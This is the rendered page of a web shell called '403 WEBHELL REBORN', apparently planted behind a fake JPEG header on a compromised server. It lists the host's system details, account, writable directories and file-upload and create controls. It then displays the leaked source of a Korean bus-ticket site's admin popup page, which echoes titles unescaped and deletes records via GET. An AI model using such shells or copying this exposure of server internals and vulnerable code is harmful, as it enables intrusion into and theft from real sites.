ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/popup_list.php
<?php
	$sub_menu = "900300";
	include_once $_SERVER['DOCUMENT_ROOT'].'/admin/_common.php';
	include_once $_SERVER['DOCUMENT_ROOT'].'/admin/common_function.php';

	$g4['title'] = "팝업관리";
	include_once $_SERVER['DOCUMENT_ROOT'].'/admin/admin.head.php';

	auth_check($sub_menu, $amenu, "r");
	$token = get_token();

	$tb_name = "popup";
	$sql = "SELECT * FROM {$tb_name} ORDER BY popup_no DESC ";
	$res = sql_query($sql);
	$data = array();
	while($data_row = sql_fetch_array($res)){
		array_push($data, $data_row);
	}
?>
<style>
    #popup_reg_btn {float: right;background: #4076df;padding: 6px 15px;border: none;border-radius: 4px;color: #fff !important;margin-top: 30px;margin-bottom: 10px;}
	.contents_tb{margin-top:10px}

	.popup_use_btn{border:none;border-radius:3px;padding:3px 8px;color:#fff;font-weight:600}
    .popup_use_btn.using{background:#699BF7}
    .popup_use_btn.not_using{background:#FFC700}

    .popup_modify_btn{background:#A5A5A5;color:#fff !important;padding:2px 10px;border-radius:3px}
    .popup_del_btn{background:#535353;color:#fff !important;padding:2px 10px;border-radius:3px;border:none;cursor:pointer}
</style>

<section id="contents_area">
	<?php
	if($g4['title']){
		?>
		<div id="page_title_area">
			<h1><?=$g4['title']?></h1>
		</div>
		<div id="page_title_area_shadow"></div>
		<?php
	}
	?>

	<div id="contentsWrap">
		<section id="contents_tb_wrap">
			<a id="popup_reg_btn" href="/admin/popup_form.php">등록하기</a>

			<table class="contents_tb" >
				<thead>
				<tr>
					<th style="width:100px">사용여부</th>
					<th>제목</th>
					<th style="width:200px">등록일</th>
					<th style="width:100px">수정</th>
					<th style="width:100px">삭제</th>
				</tr>
				</thead>
				<tbody>
				<?php
				if(count($data) > 0){
					foreach($data as $item){
						?>
						<tr>
							<td>
								<?php
								if($item['use_yn'] == 'Y'){
									?>
									<button class="popup_use_btn using" status="Y" id="popup-<?=$item['popup_no']?>" popup_no="<?=$item['popup_no']?>">사용</button>
									<?php
								}else{
									?>
									<button class="popup_use_btn not_using" status="N" id="popup-<?=$item['popup_no']?>" popup_no="<?=$item['popup_no']?>">미사용</button>
									<?php
								}
								?>
							</td>
							<td style="text-align:left"><?=$item['title']?></td>
							<td><?=$item['ins_dt']?></td>
							<td>
								<a class="popup_modify_btn" href="/admin/popup_form.php?mode=modify&popup_no=<?=$item['popup_no']?>">수정</a>
							</td>
							<td>
								<button class="popup_del_btn" popup_no="<?=$item['popup_no']?>">삭제</button>
							</td>
						</tr>
						<?php
					}
				}else{
					?>
					<tr>
						<td colspan="5">데이터가 없습니다.</td>
					</tr>

					<?php
				}
				?>
				</tbody>
			</table>

		</section>
	</div>
</section>



<script>
	$(window).load(function(){
		$('.popup_use_btn').click(function(){

            console.log($(this).attr('status'));

            popup_no = $(this).attr('popup_no');
            if(!popup_no){
                alert('오류발생 팝업 번호가 없습니다.');
                return false;
            }
			popup_status = $(this).attr('status');

            pupup_set_value = "";

            if(popup_status == 'Y'){
                //미사용으로 설정
                pupup_set_value = 'N';
            }else{
                //사용중으로 설정
                pupup_set_value = 'Y';
            }

            set_popup_using(popup_no, pupup_set_value);
		})

		//del
		$('.popup_del_btn').click(function(){
            popup_no = parseInt($(this).attr('popup_no'));
            if(confirm('정말로 삭제하시겠습니까?') && popup_no > 0){
				console.log('popup_no is ' + popup_no)
				location.href = '/admin/popup_form_update.php?mode=del&popup_no='+popup_no;
			}
		})
	})

    function set_popup_using(popup_no, pupup_set_value){

        $.ajax({
            type: "POST",
            url: "/admin/popup_form_update.php",
            data: {mode:'set_popup_using_ajax', popup_no, pupup_set_value},
            dataType: 'json',
            async: false,
            success: function (data) {
                console.log('data is ' + JSON.stringify(data));

                if(data.result == true){
                    $('#popup-'+popup_no).removeClass('using').removeClass('not_using');
                    $('#popup-'+popup_no).attr('status',pupup_set_value);

                    if(pupup_set_value == 'Y'){
						$('#popup-'+popup_no).addClass('using');
                        $('#popup-'+popup_no).text('사용중');

					}else{
                        $('#popup-'+popup_no).addClass('not_using');
                        $('#popup-'+popup_no).text('미사용');
					}
				}else{
                    alert('에러 발생 새로고침합니다. 재시도 해주세요.');
                    location.href = location.href;
				}
			},
            error: function (e) {
                console.log('ajax error');
            }
        });
    }

</script>
<?php
include_once ("./admin.tail.php");
?>

Anon7 - 2021